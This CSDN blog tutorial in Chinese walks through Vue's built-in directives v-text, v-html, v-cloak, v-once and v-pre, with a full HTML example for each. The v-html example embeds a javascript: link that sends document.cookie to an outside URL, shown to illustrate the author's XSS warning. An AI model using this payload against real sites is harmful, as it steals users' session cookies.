15_内置指令

最新推荐文章于 2022-10-26 22:08:17 发布
最新推荐文章于 2022-10-26 22:08:17 发布
阅读量56 收藏
点赞数 1
分类专栏： Vue 文章标签： vue
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xixihaha_coder/article/details/123175923
版权

15_内置指令

v-text指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <!-- 
我们学过的指令:
v-bind:单向绑定解析表达式,可简写为:XXX
v-model :双向数据绑定
v-for :遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染（动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染(动态控制节点是否展示)

v-text指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容，{{xx}}则不会。

 -->

  <body>
    <div id="root">
        <div>{{name}}</div> 
        <div v-text="name"></div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "vue",
      },
    });
  </script>
</html>

v-html指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <!--
  v-text不支持结构解析
  v-html支持结构解析 
  v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
  (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
  (2).v-html可以识别html结构。
3.严重注意: v-html有安全性问题!!!!
  (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
  (2).一定要在可信的内容上使用v-htm斗永不要用在用户提交的内容上!

-->
  <body>
    <div id="root">
      <div>{{name}}</div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "vue",
        str: "<h3>你好哇！</h3>",
        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我找到资源了,来</a>'
      },
    });
  </script>
</html>

v-cloak指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
  </head>
  <!-- 
v-cloak指令（没有值):
    1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会那掉v-cloak属性。
    2.使用css配合v-cloak可以解决网速慢时页面展示出({xxx}]的问题。

   -->
  <style>
    [v-cloak] {
      display: none;
    }
  </style>

  <body>
    <div id="root">
      <div v-cloak>{{name}}</div>
    </div>
    <script type="text/javascript" src="../js/vue.js"></script>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "vue",
      },
    });
  </script>
</html>

v-once指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
<!-- 
v-once指令:
    1.v-once所在节点在初次动态渲染后,就视为静态内容了。
    2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

 -->
  <body>
    <div id="root">
        <h2 v-once>初始值的n的值是{{n}}</h2>
      <div>当前的n值是:{{n}}</div>
      <button @click="n++">点我n+1</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        n : 1,
      },
    });
  </script>
</html>

v-pre指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
<!-- 
v-pre指令:
    1.跳过其所在节点的编译过程。
    2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点。会加快编译。

 -->
  <body>
    <div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <div>当前的n值是:{{n}}</div>
      <button @click="n++">点我n+1</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });
  </script>
</html>

xixihaha_coder
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
vue内置指令详解
08-27
Vue 内置指令详解 Vue 内置指令是 Vue 模板中最常用的功能之一，它们带有前缀 v-，主要职责是当其表达式的值改变时，相应的将某些行为应用在 DOM 上。下面将详细介绍 Vue 内置指令的使用方法和应用场景。 一、v-...
AngularJS内置指令
10-24
主要详细介绍了AngularJS内置指令的使用方法，非常详细，常用的一些指令操作都做了总结，有需要的小伙伴参考下
Vue中的内置指令
RayShyy的博客
10-26 1240
v-show：条件渲染指令，和v-if类似，区别是v-if指令是对DOM元素进行移除和插入操作，v-show是DOM元素已经存在，根据v-show的值的真假来改变其身上的display属性控制器显示和隐藏。v-html：和v-text用法一样，不过和v-text区别是v-html可以识别html标签， v-text无法识别，类似于innerHTML。v-cloak：v-cloak没有值，相当于添加一个标记，搭配css使用， Vue实例创建完毕后会将其删除，主要用于网速较慢页面显示异常问题。
vue内置指令
weixin_63489869的博客
07-18 1944
通过内置指令就可以用简洁的代码实现复杂的功能。常用内置指令： 1、v-model：主要实现数据双向绑定，通常用在表单元素上input。 2、v-text：在DOM元素内部插入文本内容。 3、v-html：在DOM元素内部插入HTML标签内容。 (v-text与v-html不同的是，v-html的内容可以是HTML结构) 4、v-bind：可以实现属性单向数据绑定。 5、v-on：事件监听指令，直接与事件类型配合使用。 6、v-for：可以实现页面列表渲染，常用于循环数组。 7、v-if ..
Vue内置指令大全
CoderBin的博客
10-04 1895
大家好，我是 CoderBin，太久没碰 Vue 了，搞的连一些最基本的指令写法都有点模糊了，所以这一次就对Vue所有的内置指令进行回顾总结，前面先说明一些常用指令，不常用的放在后面。
Vue——内置指令
weixin_47412580的博客
08-27 1084
vue的内置指令的讲解
Vue的内置指令介绍
邓高鹃的技术专栏
01-31 3047
在使用Vue开发的时候！内置指令就是我们常常用到的，一下是我整理Vue中的所有内置指令！希望对大家有所帮助！！！ 1、v-bind：响应并更新DOM特性；例如：v-bind:href  v-bind:class  v-bind:title  v-bind:bb 2、v-on：用于监听DOM事件； 例如：v-on:click  v-on:keyup 3、v-model：数据双向绑定；用于表单输...
Matlab.rar_matlab 指令
09-23
- `exp`，`log`，`sin`，`cos`等内置函数处理指数、对数、三角函数。 - `fft` 进行快速傅里叶变换，用于信号处理。 9. **控制流与调试**： - `break` 退出当前循环。 - `continue` 跳过当前循环剩余部分，继续...
zl.rar_计算机指令 PPT
09-14
现代处理器通常采用精简指令集（RISC）或复杂指令集（CISC）架构，两者各有优缺点，RISC简化了指令集，提高了执行效率，而CISC则通过内置多种指令，提高了代码密度。 接下来，我们讨论指令格式。每条指令都有固定的...
CRC-16.rar_labview 指令_指令 labview
09-23
2. **LabVIEW CRC函数**：LabVIEW提供了多种内置函数来执行CRC计算，如“CRC-16.vi”或“CRC Generation.vi”。这些函数通常接受输入数据和生成多项式作为参数，然后返回CRC校验码。 3. **数据预处理**：在计算CRC...
048N06L-VB TO252一款N-Channel沟道TO252的MOSFET晶体管参数介绍与应用说明
07-08
048N06L-VB TO252；Package：TO252；Configuration：Single-N-Channel；VDS：60V；VGS：20（±V）；Vth：3V；RDS(ON)=12mΩ@VGS=4.5V；RDS(ON)=4.5mΩ@VGS=10V；ID：97A；Technology：Trench；
基于阵列响应向量估计的宽容体积阵波束形成-洪常委.pdf
07-08
基于阵列响应向量估计的宽容体积阵波束形成-洪常委.pdf
nginx部署教程，介绍文档nginx部署教程，介绍文档
07-08
部署 Nginx（发音为"engine-x"）是一种流行的 Web 服务器和反向代理服务器，它可以处理静态内容、负载均衡、HTTP缓存以及作为反向代理来优化和加速网站。以下是一个简单的 Nginx 部署教程，适用于基本的安装和配置： ### 1. 安装 Nginx #### 在 Ubuntu 上安装 ```bash sudo apt update sudo apt install nginx ``` #### 在 CentOS/RHEL 上安装 ```bash sudo yum install epel-release sudo yum install nginx ``` ### 2. 启动和管理 Nginx 服务 安装完成后，可以使用以下命令来启动、停止和重新加载 Nginx： - 启动 Nginx 服务： ```bash sudo systemctl start nginx ``` - 停止 Nginx 服务： ```bash sudo systemctl stop nginx ``` - 重新加载 Nginx 配置（不中断现有连接）： ```bash s
python实现深度学习模型.docx
07-07
使用 TensorFlow 或 PyTorch 实现深度学习模型是当前在人工智能领域中非常流行的应用之一。这两个框架都提供了丰富的工具和接口，使得开发者可以轻松地构建、训练和部署各种类型的深度学习模型。下面我将分别介绍 TensorFlow 和 PyTorch 在实现深度学习模型方面的一些常见用法和案例： TensorFlow TensorFlow 是由 Google 开发的开源深度学习框架，具有以下特点： 静态计算图和动态计算图：TensorFlow 1.x 使用静态计算图，而 TensorFlow 2.x 默认使用动态计算图（Eager Execution），更加易于使用和调试。
hbdk-3.49.10-cp38-cp38-linux-x86-64.whl
07-08
hbdk-3.49.10-cp38-cp38-linux-x86-64.whl
西门子数字化家具生产与管理一体化解决方案.pdf
07-08
西门子数字化家具生产与管理一体化解决方案.pdf
深度学习教程&案例&相关项目
07-08
项目总结 本文详细介绍了深度学习的基本概念、实现了手写数字识别的案例，并提供了一个完整的图像分类器项目。项目分为以下几个步骤： 1. **数据准备**：下载并预处理数据集。 2. **构建神经网络**：定义卷积神经网络模型。 3. **训练模型**：使用训练数据训练模型。 4. **测试模型**：使用测试数据评估模型性能。 5. **部署模型**：将训练好的模型部署到Web应用中，用户可以上传图片进行分类。 通过这个项目，读者可以掌握深度学习的基本原理和实践方法，并了解如何使用PyTorch进行神经网络的构建和训练，以及如何将模型部署到实际应用中。这对于学习深度学习和提升机器学习技能非常有帮助。希望本文能为读者提供有价值的参考，提升其深度学习开发能力。
太原市建筑物矢量数据（Shp格式+带高度）.txt
最新发布
07-08
因文件较多，数据存放网盘，txt文件内包含下载链接及提取码，永久有效。失效会第一时间进行补充。
基于3D的人脸识别算法解决方案
07-08
基于3D的人脸识别算法解决方案
lcd1602内置指令以及指令码
04-11
lcd1602内置指令包括：清屏、光标归位、设置光标移动方向、开启/关闭显示、开启/关闭光标、开启/关闭光标闪烁、移动光标等等。其中，清屏指令码为0x01，光标归位指令码为0x02，设置光标移动方向指令码为0x06，开启/...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值